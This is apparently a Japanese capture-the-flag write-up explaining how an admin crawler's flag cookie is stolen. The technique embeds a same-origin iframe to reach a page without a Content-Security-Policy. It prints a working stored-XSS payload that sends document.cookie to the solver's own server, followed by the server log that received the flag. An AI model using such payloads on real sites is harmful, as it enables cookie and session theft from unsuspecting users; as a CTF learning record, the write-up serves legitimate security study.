Noscript (Normal)
問題
/user/(任意のUUID)に,Adminのクローラーを向かわせてなんとかしてCookieにあるフラグを抜き取ります.
ただし,Content-Security-Policyによって,Scriptを動かしたりすることができず,一見XSSは不可能のようです.
解法
/user/のCSPはインラインスクリプトは動かせませんが,selfに限り<iframe>が使えます.
しかも,/username/はCSPがないため,自由に<script>を動かすことができます.
そのため,/user/で表示できるprofileには,/username/を開く<iframe>を埋め込み,
/username/で表示できるscriptには<script>を埋め込みます.
<script>でCookieを抜き取れたら,自宅サーバーやWebhookを使ってCookieを投げつけてもらいます.
以上より,以下のusernameとprofileを仕込んでクローラーに来てもらいます.
UUID : /user/da09178f-4a9d-4867-87ea-e4738397d9b9
Username : <script>var img = document.createElement("img");img.setAttribute("src", "http://[自宅サーバーのドメイン]:31495/?" + document.cookie);document.body.appendChild(img);</script>
Profile : <iframe src="/username/da09178f-4a9d-4867-87ea-e4738397d9b9"></iframe>
今回は<img>を使っていますが,xhrとかでもいけるはずです.
Click to show FLAG
$ python3 -m http.server 31495Serving HTTP on 0.0.0.0 port 31495 (http://0.0.0.0:31495/) ...
18.176.71.128 - - [22/Jun/2024 22:26:55] "GET /?flag=FLAG{n0scr1p4_c4n_be_d4nger0us} HTTP/1.1" 200 -
Writer: shiragi